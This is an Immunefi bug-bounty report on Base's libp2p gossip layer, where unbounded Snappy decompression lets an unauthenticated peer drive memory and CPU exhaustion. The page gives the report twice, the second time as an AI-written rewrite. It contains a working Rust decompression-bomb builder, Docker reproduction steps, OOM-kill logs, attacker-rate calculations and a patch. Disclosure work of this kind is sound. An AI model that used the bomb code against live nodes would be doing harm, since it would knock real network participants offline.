Skip to content
DoS Audit finding Advanced

Unbounded snappy decompression in libp2p gossip handling enables amplification class resource exhaustion of base consensus follower fleet

Base's libp2p gossip handlers decompress incoming messages without capping the decompressed size, even though a 10 MB limit applies to the compressed data. An unauthenticated peer could send specially crafted compressed messages that expand roughly 21-fold, causing large memory and CPU spikes on every receiving node.

gzeon Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

74913 bc medium unbounded snappy decompression in libp2p gossip handling enables amplification class resource exhaustion of base consensus follower fleet

Submitted on Apr 25th 2026 at 21:02:27 UTC by @gzeon for Audit Comp | Base Azul

  • Report ID: #74913
  • Report Type: Blockchain/DLT
  • Report severity: Medium
  • Target: https://github.com/base/base/tree/v0.8.0-rc.24
  • Impacts:
    • Shutdown of greater than or equal to 30% of network processing nodes without brute force actions, but does not shut down the network

Description

Brief / Intro

Base's libp2p gossipsub handling decompresses every incoming gossip message without any decompressed-size cap, despite the MAX_GOSSIP_SIZE = 10 MB constant already enforced on the compressed side. Two distinct decompression sinks fire per delivered message — one in compute_message_id (on every received message, before dedup), and one in BlockHandler::handle via NetworkPayloadEnvelope::decode_v{1..4}. Snappy's raw format permits up to 21.3:1 expansion under that 10 MB cap. Empirically: a single 9.98 MB compressed payload commits 213 MB of RSS and 0.18 s of CPU on every receiving peer per sink.

Attackers are unauthenticated libp2p peers joining the gossip mesh; no Base credentials, no infra access, no spoofing. On Base's recommended hardware (32 GB RAM, 8+ vCPU per Base node-operator docs), a single attacker at ~4 Gbps uplink saturates ≥30 % of the gossipsub task's CPU on every in-mesh peer and pressures co-resident base-reth-node, RPC, and flashblocks services with 213 MB RSS spikes per message — qualifying for MEDIUM under "Increasing network processing node resource consumption by at least 30 % without brute force actions."

The fix is a 5-line decompress_len pre-check using the existing MAX_GOSSIP_SIZE constant.

Vulnerability Details

The two decompression sinks

Sink 1. crates/consensus/gossip/src/config.rs:104-119 — compute_message_id runs for every received gossip message before the duplicate cache is consulted. Decompression therefore fires on first receipt regardless of later dedup:

Rust
fn compute_message_id(msg: &Message) -> MessageId {
    let mut decoder = Decoder::new();
    let id = decoder.decompress_vec(&msg.data).map_or_else(
        |_| { /* fallback hash on raw bytes */ },
        |data| { /* hash on decompressed bytes */ },
    );
    MessageId(id)
}

Registered as the gossipsub message-id function at crates/consensus/gossip/src/config.rs:88-93 alongside .max_transmit_size(MAX_GOSSIP_SIZE) (compressed-only cap of 10 MB).

Sink 2. crates/consensus/gossip/src/handler.rs:50-72 — BlockHandler::handle selects one of decode_v{1..4} based on the message's topic and runs it on the same compressed bytes:

Rust
let decoded = if msg.topic == self.blocks_v1_topic.hash() {
    NetworkPayloadEnvelope::decode_v1(&msg.data)
} else if msg.topic == self.blocks_v2_topic.hash() {
    NetworkPayloadEnvelope::decode_v2(&msg.data)
} ... ;

Each decode_vN calls snap::raw::Decoder::decompress_vec(data) again at:

  • crates/common/rpc-types-engine/src/envelope.rs:258 (decode_v1)
  • crates/common/rpc-types-engine/src/envelope.rs:302 (decode_v2)
  • crates/common/rpc-types-engine/src/envelope.rs:346 (decode_v3)
  • crates/common/rpc-types-engine/src/envelope.rs:402 (decode_v4)

For each gossip message that survives id-dedup and is routed to its topic handler, both decompression sinks fire in sequence on the same byte buffer.

Topic subscription matrix

Topic instances created in BlockHandler::new (crates/consensus/gossip/src/handler.rs:99-102); all four returned as the accepted topic set by topics() (handler.rs:79-87):

Rust
blocks_v1_topic: IdentTopic::new(format!("/optimism/{chain_id}/0/blocks")),
blocks_v2_topic: IdentTopic::new(format!("/optimism/{chain_id}/1/blocks")),
blocks_v3_topic: IdentTopic::new(format!("/optimism/{chain_id}/2/blocks")),
blocks_v4_topic: IdentTopic::new(format!("/optimism/{chain_id}/3/blocks")),

Every follower subscribes to all four topics. compute_message_id hashes only msg.data (topic is not part of the digest), so an attacker who publishes the byte-identical payload on multiple topics gets dedup'd globally after the first decompression. The PoC therefore varies one byte per topic so each topic-message has a distinct id and runs its own decompression — a 4-byte total cost to the attacker per round.

Why snap::raw::Decoder::decompress_vec is unbounded

Source-level behaviour (snap-1.1.1/src/decompress.rs:105-110):

Rust
pub fn decompress_vec(&mut self, input: &[u8]) -> Result<Vec<u8>> {
    let mut buf = vec![0; decompress_len(input)?];        // pre-allocate declared size
    let n = self.decompress(input, &mut buf)?;
    buf.truncate(n);
    Ok(buf)
}

The varint header carries the declared decompressed length, capped only by MAX_INPUT_SIZE = u32::MAX (~4 GB). No application-level cap exists in Base's call sites; both sinks pass attacker-controlled bytes directly to decompress_vec.

vec![0; N] calls __rust_alloc_zeroed, which on glibc/Linux above the M_MMAP_THRESHOLD = 128 KB issues mmap(MAP_ANONYMOUS). Pages remain kernel zero pages until first written. The decoder then writes the decompressed payload into the buffer, physically committing the pages. A "tiny varint header declaring 4 GB" attack errors out fast (HeaderMismatch) without committing many pages. A legit-expansion attack — chained copy-2-byte len=64 offset=1 instructions — produces a snappy-spec-valid stream that commits real RSS at the snappy max ratio of 21.3:1.

Snappy-spec ceiling on per-message decompressed size

Snappy op Compressed Max decompressed Ratio
copy-1-byte (3-bit len, 11-bit offset) 2 11 5.5:1
copy-2-byte (6-bit len, 16-bit offset) 3 64 21.3:1
copy-4-byte (6-bit len, 32-bit offset) 5 64 12.8:1

Under Base's MAX_GOSSIP_SIZE = 10 MB cap, per-message decompressed size is bounded at ~213 MB. This is the load-bearing constant for the rest of the report.

Per-decompression cost

Single-process measurement on x86_64 Linux (release build):

Compressed: 9984378 B (9.52 MB)
Target decompressed: 213000000 B (203.13 MB)
10 decompressions in 1.804986475s
Per-decompression: 180.498647ms
Maximum resident set size (kbytes): 219868   # 213 MB committed real RSS

Each gossip message processed through one sink costs the receiving peer ~0.18 s CPU + 213 MB peak RSS. With both sinks routed (sink-1 dedup miss followed by sink-2 handler), a single delivered message is ~0.36 s CPU + 213 MB peak.

Attacker reachability

libp2p gossipsub admits any peer that completes the standard noise + yamux + identify handshake. No Base-specific credentials, no bearer tokens, no IP allowlist. The attacker reaches the gossip mesh exactly as any honest follower does. Discoverable via code review alone; not "compromising Base-operated infrastructure."

Impact Details

Attack profile against Base's recommended hardware

Base's node-operator performance-tuning page recommends 32 GB RAM, 8+ vCPU.

The CPU-saturation threshold for "≥30 % resource consumption" on 8 cores = 2.4 cores busy.

Step Value
Per-message CPU cost 0.18 s × 2 sinks = 0.36 cores-second per delivered message
Per-publish CPU cost on each receiver (4 topics, salted) 4 × 0.36 = 1.44 cores-second per attacker round per receiver
Threshold publishes/sec to saturate 30 % of the gossipsub task 2.4 / 1.44 ≈ 1.67 publishes/sec
Attacker uplink (mesh fan-out: mesh_D × topics × publishes/s × msg_size) 1.67 × 4 × 8 × 9.98 MB ≈ 534 MB/s ≈ 4.3 Gbps

Single attacker, ~4 Gbps uplink, every in-mesh peer simultaneously pays ≥30 % gossipsub-task CPU. The figure is for a single attacker meshed at one position; multiple sock-puppets at different mesh positions distribute the same total uplink without changing the per-receiver impact.

Memory side-effect: each delivered gossip message commits a 213 MB RSS spike that lives for the duration of the snappy decompression (~0.18 s) plus any handler-side validation. On a co-resident base-consensus + base-reth-node + RPC + flashblocks deployment (the standard configuration for Base followers), every spike forces the kernel to evict EL state-DB hot pages from page cache, slowing block sync. With swap disabled (universal for blockchain nodes — see "kernel/system configurations" below) the kernel cannot ease the pressure by paging.

Why this is amplification, not brute force

Per-byte ratios on Base's recommended 32 GB / 8-core hardware:

Per-receiver, per attacker byte:
   memory:  9.98 MB compressed : 426 MB committed (dual-sink) ≈ 1 : 44
   CPU:     9.98 MB compressed : 0.36 cores-second           ≈ 36 ns CPU per byte

Network-wide via mesh fan-out (mesh_D = 8, ~50 in-mesh peers):
   memory:  ≈ 1 : 1100
   CPU:     1 publish (80 MB attacker uplink) → 50 receivers × 0.36 cores-sec
            ≈ 18 cores-seconds per 80 MB attacker uplink
            ≈ 225 milli-cores-seconds per MB attacker uplink

The discriminator between amplification and brute force is whether attacker resource cost is symmetric to victim cost. This finding's per-byte ratios are asymmetric by 1–3 orders of magnitude. Two further structural points:

  • A code-level fix exists and closes the entire amplification factor (5-line patch using a constant Base already defines). Pure brute-force floods can only be mitigated at the network edge.
  • Mesh fan-out decouples attacker uplink from victim count. A bandwidth flood scales linearly with victim count; this attack's uplink is bounded by mesh_D × topics × stacking-rate × msg_size, independent of the number of in-mesh peers paying CPU + memory cost.

Kernel and system configurations that lower the threshold

Common production-server defaults that increase the bug's blast radius (no operator misconfiguration required):

Configuration Effect
Swap disabled / vm.swappiness=0 No swap relief on memory pressure → process competes for committed RSS. Universal on blockchain nodes (operators disable swap to avoid latency variance).
Co-resident base-consensus + base-reth-node + RPC + flashblocks Per-process memory budget shrinks; gossipsub task's 213 MB spikes evict EL state-DB hot pages from kernel page cache. Universal in single-host deployments.
cgroup v2 with memory.swap.max=0 Container-level no-swap. Docker default for mem_limit.
vm.overcommit_memory=2 (strict accounting) Allocations rejected before they can be paged out → fast-fail OOM at lower RSS.
systemd-oomd enabled Proactive OOM kill at lower memory-pressure thresholds. Increasingly common on Ubuntu/Fedora servers.

Under the standard "swap=0 + co-resident services" production deployment, every gossip message processed forces a memory-pressure shock to the EL state cache, slowing block sync below sustainable rate.

Severity classification

Per Base's bounty severity table:

MEDIUM: "Increasing network processing node resource consumption by at least 30 % without brute force actions, compared to the preceding 24 hours."

This is the load-bearing classification. On 32 GB / 8-core followers, a single attacker at ~4 Gbps causes ≥30 % gossipsub-task CPU saturation on every in-mesh peer per the derivation above.

Two subordinate points:

  • The bug also satisfies the alternative MEDIUM criterion "Shutdown of ≥30 % of network processing nodes without brute force actions" on lower-RAM victims (cgroup containers, low-spec follower deployments). Empirically reproduced at 1 GB cgroup with explicit container oom events; see PoC.
  • The finding does not rise to HIGH: no direct ≥500 % block-production delay (Base's sequencer is centralized; gossip layer is not on the L2 block-production critical path), no chain-split, no RPC-API crash on programs with ≥25 % market cap.

References

Source-level evidence (Base v0.8.0-rc.24, commit 819ea30)

  • crates/consensus/gossip/src/config.rs:15 — pub const MAX_GOSSIP_SIZE: usize = 10 * (1 << 20);
  • crates/consensus/gossip/src/config.rs:31 — pub const DEFAULT_MESH_D: usize = 8;
  • crates/consensus/gossip/src/config.rs:88 — .max_transmit_size(MAX_GOSSIP_SIZE) (compressed cap binding)
  • crates/consensus/gossip/src/config.rs:104-119 — compute_message_id (Sink 1)
  • crates/consensus/gossip/src/handler.rs:50-72 — BlockHandler::handle (Sink 2 dispatcher)
  • crates/consensus/gossip/src/handler.rs:79-87 — accepted-topics matrix (topics() returns all four)
  • crates/consensus/gossip/src/handler.rs:99-102 — topic instances created in BlockHandler::new
  • crates/common/rpc-types-engine/src/envelope.rs:258, 302, 346, 402 — four decode_vN::decompress_vec sites

Upstream evidence

  • snap-1.1.1/src/decompress.rs:105-110 — decompress_vec allocates vec![0; decompress_len(input)?] before validating payload completeness
  • snap-1.1.1/src/lib.rs:93 — MAX_INPUT_SIZE = u32::MAX allows up to 4 GB declared decompressed size
  • libp2p-gossipsub mesh-D fan-out: one publish reaches all in-mesh peers in O(log_D N) hops via mesh forwarding
  • Snappy format spec: copy-2-byte len=64 offset=1 yields 21.3:1 ratio per chained instruction
  • Base hardware recommendations: https://docs.base.org/base-chain/node-operators/performance-tuning#hardware

Bug introduction

The vulnerable pattern was introduced at the initial Base Consensus port in commit feat(consensus): Base Consensus (#898) — the gossip config and envelope decoders were ported from op-node without a decompressed-size cap. Pattern unchanged through v0.8.0-rc.24. No fix commit observed in the rc.1–rc.24 range.

In-scope confirmation

  • crates/consensus/gossip/ and crates/common/rpc-types-engine/ are inside crates/, not in any out-of-scope directory.
  • Reachable via libp2p gossip mesh, no Base-operated infrastructure compromise required.
  • Discoverable via code review alone — both sinks are 5–20 line public Rust functions.
  • Not present in the publicly-disclosed known-issues list.

Link to Proof of Concept

https://gist.github.com/gzeoneth/9c756cb5dcc09ebf29514bb2856faa4f

Proof of Concept

  • Single-process measurement — snap-bomb-poc.rs. Demonstrates the snappy-level 21:1 ratio, 213 MB committed RSS, and 0.18 s CPU per decompress_vec call. Run on Linux with cargo run --release followed by /usr/bin/time -v target/release/snap-bomb-poc.
Rust
fn varint(mut v: u64) -> Vec<u8> {
    let mut out = Vec::new();
    loop {
        let b = (v & 0x7f) as u8;
        v >>= 7;
        if v == 0 { out.push(b); break; }
        out.push(b | 0x80);
    }
    out
}

fn build_legit_bomb(target_size: u64) -> Vec<u8> {
    let mut out = varint(target_size);
    out.push(0x00); out.push(0xAA);
    let copies = (target_size - 1) / 64;
    for _ in 0..copies {
        out.push((63 << 2) | 0b10); out.push(0x01); out.push(0x00);
    }
    out
}

fn main() {
    // Target: max compressed ~9 MB → ~600 MB decompressed (via 64x copy ratio)
    let target: u64 = 213_000_000;
    let bomb = build_legit_bomb(target);
    println!("Compressed: {} B ({:.2} MB), target: {} B ({:.2} MB), ratio: {:.0}:1",
        bomb.len(), bomb.len() as f64 / 1_048_576.0,
        target, target as f64 / 1_048_576.0,
        target as f64 / bomb.len() as f64);
    if bomb.len() > 10 * 1024 * 1024 {
        println!("WARNING: compressed exceeds MAX_GOSSIP_SIZE (10 MB)");
    }
    let t = std::time::Instant::now();
    let mut d = snap::raw::Decoder::new();
    let res = d.decompress_vec(&bomb);
    let dt = t.elapsed();
    match res {
        Ok(v) => println!("Decompressed: {} B in {:?}", v.len(), dt),
        Err(e) => println!("Err: {:?}", e),
    }
}
  • Multi-node end-to-end reproduction — poc-docker https://gist.github.com/gzeoneth/9c756cb5dcc09ebf29514bb2856faa4f A 4-container Docker Compose stack running the EXACT vulnerable compute_message_id pattern + the decode_vN second sink, demonstrating OOM kill of a 1 GB cgroup follower under realistic Base-shaped attacker config (3 sock-puppets × 4 topics × 2 publishes/s × 2 sinks). Captured 2026-04-25:
2026-04-25T07:40:29.225182946Z container oom 9bb562e60ee6...
  com.docker.compose.service=victim-a-r
  name=poc-docker-victim-a-r-1

2026-04-25T07:40:29.622919395Z container die 9bb562e60ee6...
  execDuration=204
  exitCode=137                            # SIGKILL by OOM killer

$ docker inspect poc-docker-victim-a-r-1 --format \
    "R={{.RestartCount}} OOMKilled={{.State.OOMKilled}}"
R=1 OOMKilled=false                       # OOMKilled flag clears post-restart

OOMKilled=false is normal post-restart docker behaviour; RestartCount=1 and the explicit container oom event are the load-bearing evidence.

The cgroup-OOM scenario demonstrates that the bug's per-message peak RSS (213 MB) is sufficient to OOM-kill containers below ~1 GB. The primary impact on production 32 GB hardware is the CPU + memory-pressure profile derived in "Impact Details" above, not direct OOM.

Reproduction commands

Bash
cd poc-docker
docker compose --profile realistic up -d
sleep 180
docker events --since 5m --filter event=oom
docker inspect poc-docker-victim-a-r-1 --format \
    "RestartCount={{.RestartCount}} OOMKilled={{.State.OOMKilled}}"

PoC adaptations explicitly disclosed

Two cosmetic adaptations were made to the PoC; neither affects the structural attack:

  • mesh_n=2/n_low=1/n_high=4/outbound_min=0 (vs. Base's production 8/6/12). Required because libp2p-gossipsub validates D_low * 2 ≤ D and a 4-node mesh cannot satisfy 6/12. Mesh-D affects fan-out efficiency, not whether the bug exists. The 32 GB-hardware derivation in "Impact Details" uses Base's production mesh_D=8.
  • add_explicit_peer() is called after dial completes. In production Base, gossipsub naturally meshes within ~2 heartbeats once SUBSCRIBE control messages exchange.

The fix

The existing MAX_GOSSIP_SIZE = 10 MB constant is already imported at both vulnerable sites. snap::raw::decompress_len reads only the ≤5-byte varint header and performs no allocation, so it is safe to call before decompress_vec:

Rust
fn bounded_decompress(input: &[u8]) -> Result<Vec<u8>, snap::Error> {
    let len = snap::raw::decompress_len(input)?;
    if len > MAX_GOSSIP_SIZE {                          // <-- the missing check
        return Err(snap::Error::TooBig {
            given: len as u64,
            max: MAX_GOSSIP_SIZE as u64,
        });
    }
    snap::raw::Decoder::new().decompress_vec(input)
}

Apply in:

  • crates/consensus/gossip/src/config.rs:104-119 (compute_message_id)
  • crates/common/rpc-types-engine/src/envelope.rs:258, 302, 346, 402 (all four decode_vN)

A NetworkPayloadEnvelope v4 carrying a full-size Isthmus block (30 M gas) is well under 10 MB SSZ-encoded, so 10 MB decompressed accommodates every legitimate payload. Using the same constant as the compressed cap forces effective ratio ≤ 1:1 (decompressed cannot exceed compressed cap), structurally eliminating the amplification factor regardless of future Snappy version changes.

Fix verification

Apply the patch above to vulnerable_message_id in poc-docker/src/main.rs and rebuild:

Bash
docker compose --profile realistic up --build

Victim RSS stays under ~50 MB regardless of attacker rate. RestartCount remains at 0. Attacker publish calls succeed at the wire level but receivers reject the bombs at message-id computation, so the RSS impact is zero.

The original report as published on Immunefi, by gzeon. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

Context

Base's consensus layer speaks libp2p gossipsub. Followers join a gossip mesh and receive block payloads on four topics, one per payload envelope version, all under the /optimism/{chain_id}/N/blocks naming scheme. Each gossip message carries a Snappy-compressed payload. The node enforces a compressed-size ceiling, MAX_GOSSIP_SIZE = 10 MB, through gossipsub's .max_transmit_size(MAX_GOSSIP_SIZE) setting, but nothing caps the size of the data after decompression.

The report targets Base v0.8.0-rc.24 (commit 819ea30) and was filed against the Base Azul audit competition on Immunefi as report #74913, severity Medium.

Setup

No accounts, credentials or infrastructure access are needed. The attacker is an ordinary unauthenticated libp2p peer: gossipsub admits any peer that completes the standard noise + yamux + identify handshake, with no Base-specific tokens and no IP allowlist. The attacker reaches the mesh exactly as an honest follower does.

The researcher worked from the source tree and built two artefacts:

  1. A single-process Rust program, snap-bomb-poc.rs, measuring CPU and committed RSS for one decompress_vec call on x86_64 Linux in a release build.
  2. A four-container Docker Compose stack, poc-docker, running the exact vulnerable compute_message_id pattern plus the decode_vN second sink, with a 1 GB cgroup follower as victim.

Base's node-operator performance-tuning page recommends 32 GB RAM and 8+ vCPU per node; the impact arithmetic uses that hardware profile.

Finding it

Two call sites decompress attacker-controlled bytes without checking the declared output length.

Sink 1 is compute_message_id at crates/consensus/gossip/src/config.rs:104-119. It runs for every received gossip message before the duplicate cache is consulted, so decompression happens on first receipt regardless of later dedup:

Rust
fn compute_message_id(msg: &Message) -> MessageId {
    let mut decoder = Decoder::new();
    let id = decoder.decompress_vec(&msg.data).map_or_else(
        |_| { /* fallback hash on raw bytes */ },
        |data| { /* hash on decompressed bytes */ },
    );
    MessageId(id)
}

It is registered as the gossipsub message-id function at crates/consensus/gossip/src/config.rs:88-93, alongside .max_transmit_size(MAX_GOSSIP_SIZE), which only bounds the compressed side.

Sink 2 is BlockHandler::handle at crates/consensus/gossip/src/handler.rs:50-72. It picks one of decode_v{1..4} based on the message topic and runs it on the same compressed bytes:

Rust
let decoded = if msg.topic == self.blocks_v1_topic.hash() {
    NetworkPayloadEnvelope::decode_v1(&msg.data)
} else if msg.topic == self.blocks_v2_topic.hash() {
    NetworkPayloadEnvelope::decode_v2(&msg.data)
} ... ;

Each decode_vN calls snap::raw::Decoder::decompress_vec(data) again, at crates/common/rpc-types-engine/src/envelope.rs:258 (decode_v1), :302 (decode_v2), :346 (decode_v3) and :402 (decode_v4). A message that survives id-dedup and is routed to its topic handler therefore pays both sinks in sequence on the same buffer.

The topic instances are created in BlockHandler::new (crates/consensus/gossip/src/handler.rs:99-102) and all four are returned as the accepted set by topics() (handler.rs:79-87):

Rust
blocks_v1_topic: IdentTopic::new(format!("/optimism/{chain_id}/0/blocks")),
blocks_v2_topic: IdentTopic::new(format!("/optimism/{chain_id}/1/blocks")),
blocks_v3_topic: IdentTopic::new(format!("/optimism/{chain_id}/2/blocks")),
blocks_v4_topic: IdentTopic::new(format!("/optimism/{chain_id}/3/blocks")),

Every follower subscribes to all four. Because compute_message_id hashes only msg.data and not the topic, a byte-identical payload published on several topics is deduplicated globally after the first decompression. Varying one byte per topic gives each topic-message a distinct id and its own decompression, at a cost of four bytes per round to the attacker.

The reason decompress_vec is unbounded is visible in snap-1.1.1/src/decompress.rs:105-110:

Rust
pub fn decompress_vec(&mut self, input: &[u8]) -> Result<Vec<u8>> {
    let mut buf = vec![0; decompress_len(input)?];        // pre-allocate declared size
    let n = self.decompress(input, &mut buf)?;
    buf.truncate(n);
    Ok(buf)
}

The varint header carries the declared decompressed length, and snap-1.1.1/src/lib.rs:93 sets MAX_INPUT_SIZE = u32::MAX, so the only ceiling is roughly 4 GB. Neither Base call site adds an application-level cap.

The allocation path matters for the attack. vec![0; N] calls __rust_alloc_zeroed, which on glibc/Linux above M_MMAP_THRESHOLD = 128 KB issues mmap(MAP_ANONYMOUS); pages stay as kernel zero pages until written. A tiny header declaring 4 GB fails fast with HeaderMismatch before committing many pages. A stream that legitimately expands, built from chained copy-2-byte len=64 offset=1 instructions, is valid Snappy and forces the decoder to write the output, physically committing the pages.

Snappy's per-instruction ratios set the ceiling:

Snappy op Compressed Max decompressed Ratio
copy-1-byte (3-bit len, 11-bit offset) 2 11 5.5:1
copy-2-byte (6-bit len, 16-bit offset) 3 64 21.3:1
copy-4-byte (6-bit len, 32-bit offset) 5 64 12.8:1

At 21.3:1 under the 10 MB compressed cap, one message decompresses to about 213 MB. That figure is the load-bearing constant for the rest of the analysis.

Exploitation

Step 1: measure the cost of a single decompression

The PoC builds a valid Snappy stream that expands to 213,000,000 bytes and times one decompress_vec call:

Rust
fn varint(mut v: u64) -> Vec<u8> {
    let mut out = Vec::new();
    loop {
        let b = (v & 0x7f) as u8;
        v >>= 7;
        if v == 0 { out.push(b); break; }
        out.push(b | 0x80);
    }
    out
}

fn build_legit_bomb(target_size: u64) -> Vec<u8> {
    let mut out = varint(target_size);
    out.push(0x00); out.push(0xAA);
    let copies = (target_size - 1) / 64;
    for _ in 0..copies {
        out.push((63 << 2) | 0b10); out.push(0x01); out.push(0x00);
    }
    out
}

fn main() {
    // Target: max compressed ~9 MB → ~600 MB decompressed (via 64x copy ratio)
    let target: u64 = 213_000_000;
    let bomb = build_legit_bomb(target);
    println!("Compressed: {} B ({:.2} MB), target: {} B ({:.2} MB), ratio: {:.0}:1",
        bomb.len(), bomb.len() as f64 / 1_048_576.0,
        target, target as f64 / 1_048_576.0,
        target as f64 / bomb.len() as f64);
    if bomb.len() > 10 * 1024 * 1024 {
        println!("WARNING: compressed exceeds MAX_GOSSIP_SIZE (10 MB)");
    }
    let t = std::time::Instant::now();
    let mut d = snap::raw::Decoder::new();
    let res = d.decompress_vec(&bomb);
    let dt = t.elapsed();
    match res {
        Ok(v) => println!("Decompressed: {} B in {:?}", v.len(), dt),
        Err(e) => println!("Err: {:?}", e),
    }
}

The varint encodes the declared output length, the two literal bytes seed the buffer, and each three-byte copy instruction repeats 64 bytes from offset 1. Run with cargo run --release and measured with /usr/bin/time -v, the output was:

Text
Compressed: 9984378 B (9.52 MB)
Target decompressed: 213000000 B (203.13 MB)
10 decompressions in 1.804986475s
Per-decompression: 180.498647ms
Maximum resident set size (kbytes): 219868   # 213 MB committed real RSS

So one sink costs the receiving peer about 0.18 s CPU and 213 MB peak RSS. With both sinks routed, a single delivered message costs about 0.36 s CPU and 213 MB peak.

Step 2: derive the publish rate needed to saturate 30% of the gossipsub task

On 8 cores, 30% is 2.4 cores busy. The report's arithmetic:

Step Value
Per-message CPU cost 0.18 s × 2 sinks = 0.36 cores-second per delivered message
Per-publish CPU cost on each receiver (4 topics, salted) 4 × 0.36 = 1.44 cores-second per attacker round per receiver
Threshold publishes/sec to saturate 30% of the gossipsub task 2.4 / 1.44 ≈ 1.67 publishes/sec
Attacker uplink (mesh fan-out: mesh_D × topics × publishes/s × msg_size) 1.67 × 4 × 8 × 9.98 MB ≈ 534 MB/s ≈ 4.3 Gbps

A single attacker with roughly 4 Gbps uplink makes every in-mesh peer pay at least 30% of the gossipsub task's CPU. The figure assumes one attacker meshed at one position; multiple sock-puppets at different positions spread the same total uplink without changing the per-receiver impact.

Step 3: reproduce end to end in containers

The poc-docker stack runs the vulnerable compute_message_id pattern and the decode_vN second sink, with three sock-puppets publishing on four topics at two publishes per second against a 1 GB cgroup follower. The captured events from 2026-04-25:

Text
2026-04-25T07:40:29.225182946Z container oom 9bb562e60ee6...
  com.docker.compose.service=victim-a-r
  name=poc-docker-victim-a-r-1

2026-04-25T07:40:29.622919395Z container die 9bb562e60ee6...
  execDuration=204
  exitCode=137                            # SIGKILL by OOM killer

$ docker inspect poc-docker-victim-a-r-1 --format \
    "R={{.RestartCount}} OOMKilled={{.State.OOMKilled}}"
R=1 OOMKilled=false                       # OOMKilled flag clears post-restart

The container oom event and RestartCount=1 are the evidence; OOMKilled=false is normal Docker behaviour after a restart. The reproduction commands:

Bash
cd poc-docker
docker compose --profile realistic up -d
sleep 180
docker events --since 5m --filter event=oom
docker inspect poc-docker-victim-a-r-1 --format \
    "RestartCount={{.RestartCount}} OOMKilled={{.State.OOMKilled}}"

Two cosmetic adaptations were disclosed: mesh_n=2/n_low=1/n_high=4/outbound_min=0 instead of Base's production 8/6/12, because libp2p-gossipsub validates D_low * 2 ≤ D and a four-node mesh cannot satisfy 6/12; and add_explicit_peer() is called after dial completes, whereas production Base meshes naturally within about two heartbeats once SUBSCRIBE control messages are exchanged. Neither changes the structural attack, and the 32 GB derivation uses production mesh_D=8.

Root cause

The compressed-size cap is applied at the wrong layer. MAX_GOSSIP_SIZE bounds what gossipsub accepts on the wire, but both decompression sinks pass attacker-controlled bytes straight to snap::raw::Decoder::decompress_vec, which allocates vec![0; decompress_len(input)?] from the varint header before validating the payload. Snappy's own MAX_INPUT_SIZE = u32::MAX is the only limit, and a valid expanding stream commits the pages it declares. The vulnerable pattern was introduced with the initial Base Consensus port in commit feat(consensus): Base Consensus (#898), carried over from op-node without a decompressed-size cap, and was unchanged through v0.8.0-rc.24 with no fix commit in the rc.1 to rc.24 range.

Impact

On Base's recommended 32 GB / 8+ vCPU hardware, a single attacker at about 4 Gbps uplink saturates at least 30% of the gossipsub task's CPU on every in-mesh peer, which is the MEDIUM criterion "Increasing network processing node resource consumption by at least 30 % without brute force actions". The memory side is a 213 MB RSS spike per delivered message, lasting the decompression plus handler-side validation. On the standard co-resident base-consensus + base-reth-node + RPC + flashblocks deployment, each spike evicts execution-layer state-DB hot pages from page cache and slows block sync; with swap disabled, the kernel cannot page the pressure away.

The report frames the issue as amplification rather than brute force. Per attacker byte, one receiver commits about 44 bytes of memory and spends about 36 ns of CPU. Across the mesh (mesh_D = 8, roughly 50 in-mesh peers), one publish of 80 MB attacker uplink produces about 18 cores-seconds of receiver CPU, roughly 225 milli-cores-seconds per MB, and a memory ratio near 1:1100. Mesh fan-out also decouples attacker uplink from victim count: the uplink is bounded by mesh_D × topics × stacking-rate × msg_size, independent of how many peers pay the cost.

Several common production defaults lower the threshold without any operator misconfiguration:

Configuration Effect
Swap disabled / vm.swappiness=0 No swap relief on memory pressure; universal on blockchain nodes
Co-resident base-consensus + base-reth-node + RPC + flashblocks Smaller per-process budget; 213 MB spikes evict EL state-DB hot pages
cgroup v2 with memory.swap.max=0 Container-level no-swap; Docker default for mem_limit
vm.overcommit_memory=2 Allocations rejected before paging out; fast-fail OOM at lower RSS
systemd-oomd enabled Proactive OOM kill at lower pressure thresholds

The bug also meets the alternative MEDIUM criterion, "Shutdown of ≥30 % of network processing nodes without brute force actions", on lower-RAM victims such as cgroup containers and low-spec followers; the 1 GB cgroup reproduction above shows this. It does not rise to HIGH: there is no direct ≥500% block-production delay (the sequencer is centralised and the gossip layer is not on the L2 block-production critical path), no chain split, and no RPC-API crash on programs with ≥25% market cap.

Fix

The report proposes a pre-check with snap::raw::decompress_len, which reads only the ≤5-byte varint header and performs no allocation, so it is safe to call before decompress_vec. The existing MAX_GOSSIP_SIZE constant is already imported at both vulnerable sites.

Rust
fn bounded_decompress(input: &[u8]) -> Result<Vec<u8>, snap::Error> {
    let len = snap::raw::decompress_len(input)?;
    if len > MAX_GOSSIP_SIZE {                          // <-- the missing check
        return Err(snap::Error::TooBig {
            given: len as u64,
            max: MAX_GOSSIP_SIZE as u64,
        });
    }
    snap::raw::Decoder::new().decompress_vec(input)
}

It should be applied at crates/consensus/gossip/src/config.rs:104-119 (compute_message_id) and at crates/common/rpc-types-engine/src/envelope.rs:258, 302, 346, 402 (all four decode_vN). A NetworkPayloadEnvelope v4 carrying a full-size Isthmus block (30 M gas) is well under 10 MB SSZ-encoded, so a 10 MB decompressed cap accommodates every legitimate payload. Reusing the compressed cap forces the effective ratio to at most 1:1 and removes the amplification factor regardless of future Snappy versions.

The report describes verifying the fix by applying the patch to vulnerable_message_id in poc-docker/src/main.rs and rebuilding:

Bash
docker compose --profile realistic up --build

The report states that with the patch, victim RSS stays under about 50 MB regardless of attacker rate and RestartCount stays at 0. Attacker publish calls still succeed at the wire level, but receivers reject the bombs during message-id computation, so the RSS impact is zero.

Variants to test

  • Other Snappy call sites in the same codebase. Grep for decompress_vec and Decoder::new across the tree. A positive result is a call site that takes network bytes and has no decompress_len check before allocation.
  • Other compression formats with declared lengths. zlib, brotli and zstd decoders that allocate from a header before validating the stream behave the same way. A positive result is a message that commits far more memory than its wire size.
  • Other gossip topics and message-id functions. Any gossipsub deployment where the message-id function hashes decompressed data runs decompression before dedup. A positive result is CPU cost paid on first receipt of every message, including ones later dropped.
  • Topic salting against content-addressed dedup. Where the message id covers only the payload, varying one byte per topic multiplies the per-round cost. A positive result is N distinct ids for N topics from a single base payload.
  • Low-memory container deployments. Reproduce against a cgroup-limited follower to see whether the per-message peak alone triggers OOM. A positive result is a container oom event and a restart count above zero.

Hunting notes

